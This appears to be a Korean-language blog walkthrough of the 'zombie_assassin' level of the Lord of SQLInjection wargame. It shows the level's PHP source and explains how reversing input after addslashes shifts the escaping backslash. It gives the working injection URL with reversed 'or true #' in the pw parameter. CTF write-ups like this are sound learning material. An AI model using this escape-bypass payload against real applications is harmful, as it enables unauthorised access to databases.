[LOS] zombie_assassin 풀이

 

PHP & query 
<?php
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>
select id from prob_zombie_assassin where id='' and pw=''

 

문제 풀이

더보기
solve 조건
if($result['id']) solve("zombie_assassin"); 

id값이 있기만하면 문제가 해결된다.

 

특수문자 제약
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~")

문자가 거꾸로 형성되고 특수문자가 있으면 뒤에\가붙는다 

 

sqlInjection 쿼리
select id from prob_zombie_assassin where id='"\' and pw='or true #'
sql에서 인식하는 결과

 특수문자를 넣으면 \가 입력되는 것을 이용하여 해당형태로 만든다.

 

URL

los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id="&pw=%23 eurt ro

 

 

 

 

 

 

'CTF > LOS' 카테고리의 다른 글

[LOS] nightmare 풀이 - 18번  (0) 2020.09.17
[LOS] succubus 풀이 -16번  (0) 2020.09.17
[LOS] assassin 풀이 - 15번  (0) 2020.09.16
[LOS] glant 풀이- 14번  (0) 2020.09.16
[LOS] bugbear 풀이 - 13번  (0) 2020.09.16

+ Recent posts